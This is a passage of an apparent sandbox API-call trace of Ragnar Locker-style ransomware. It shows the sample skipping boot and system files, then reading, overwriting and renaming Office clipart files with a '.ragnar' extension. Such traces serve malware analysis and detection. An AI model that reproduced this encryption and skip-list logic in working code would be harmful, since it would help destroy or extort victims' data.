ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0081.745] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.745] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01015_.WMF" | out: lpString1="DD01015_.WMF") returned="DD01015_.WMF" [0081.745] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned=".WMF" [0081.745] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.745] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="autorun.inf") returned 1 [0081.745] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="boot.ini") returned 1 [0081.745] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="bootfont.bin") returned 1 [0081.745] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="bootsect.bak") returned 1 [0081.745] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="bootmgr") returned 1 [0081.745] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="bootmgr.efi") returned 1 [0081.745] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.746] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="desktop.ini") returned -1 [0081.746] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="iconcache.db") returned -1 [0081.746] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="ntldr") returned -1 [0081.746] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="ntuser.dat") returned -1 [0081.746] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.746] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="ntuser.ini") returned -1 [0081.746] lstrcmpiW (lpString1="DD01015_.WMF", lpString2="thumbs.db") returned -1 [0081.746] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.746] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.746] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.746] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.746] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.746] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.746] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0081.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.746] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2226) returned 1 [0081.746] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.746] GetProcessHeap () returned 0x580000 [0081.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.746] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.787] VirtualAlloc (lpAddress=0x0, dwSize=0x8b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.788] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b2, lpOverlapped=0x0) returned 1 [0081.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.788] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.788] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b2, lpOverlapped=0x0) returned 1 [0081.788] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.788] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.788] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.788] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.789] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.789] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.789] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.789] GetProcessHeap () returned 0x580000 [0081.789] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.789] CloseHandle (hObject=0xf4) returned 1 [0081.789] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" [0081.789] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.ragnar_FD7BD9FC" [0081.789] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.789] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0081.790] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.790] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01039_.WMF" | out: lpString1="DD01039_.WMF") returned="DD01039_.WMF" [0081.790] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned=".WMF" [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="autorun.inf") returned 1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="boot.ini") returned 1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="bootfont.bin") returned 1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="bootsect.bak") returned 1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="bootmgr") returned 1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="bootmgr.efi") returned 1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="desktop.ini") returned -1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="iconcache.db") returned -1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="ntldr") returned -1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="ntuser.dat") returned -1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="ntuser.ini") returned -1 [0081.790] lstrcmpiW (lpString1="DD01039_.WMF", lpString2="thumbs.db") returned -1 [0081.790] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.790] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.790] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.790] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.790] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.790] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.790] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0081.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.791] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14820) returned 1 [0081.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x39db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.791] GetProcessHeap () returned 0x580000 [0081.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.791] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.792] VirtualAlloc (lpAddress=0x0, dwSize=0x39e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.792] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.792] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x39e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x39e4, lpOverlapped=0x0) returned 1 [0081.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.793] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.794] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x39e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x39e4, lpOverlapped=0x0) returned 1 [0081.794] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.794] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x39e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.794] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.794] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.794] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.794] GetProcessHeap () returned 0x580000 [0081.794] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.794] CloseHandle (hObject=0xf4) returned 1 [0081.794] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" [0081.794] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.ragnar_FD7BD9FC" [0081.795] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.795] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0081.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.795] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01138_.WMF" | out: lpString1="DD01138_.WMF") returned="DD01138_.WMF" [0081.795] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned=".WMF" [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="autorun.inf") returned 1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="boot.ini") returned 1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="bootfont.bin") returned 1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="bootsect.bak") returned 1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="bootmgr") returned 1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="bootmgr.efi") returned 1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="desktop.ini") returned -1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="iconcache.db") returned -1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="ntldr") returned -1 [0081.795] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="ntuser.dat") returned -1 [0081.796] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.796] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="ntuser.ini") returned -1 [0081.796] lstrcmpiW (lpString1="DD01138_.WMF", lpString2="thumbs.db") returned -1 [0081.796] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.796] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.796] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.796] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.796] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.796] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.796] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.796] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0081.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.796] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3692) returned 1 [0081.796] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.796] GetProcessHeap () returned 0x580000 [0081.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.796] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.798] VirtualAlloc (lpAddress=0x0, dwSize=0xe6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.798] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe6c, lpOverlapped=0x0) returned 1 [0081.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.798] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.798] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe6c, lpOverlapped=0x0) returned 1 [0081.798] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.798] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.799] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.799] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.799] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.799] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.799] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.799] GetProcessHeap () returned 0x580000 [0081.799] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.799] CloseHandle (hObject=0xf4) returned 1 [0081.799] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" [0081.799] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.ragnar_FD7BD9FC" [0081.799] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.800] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0081.800] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.800] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01139_.WMF" | out: 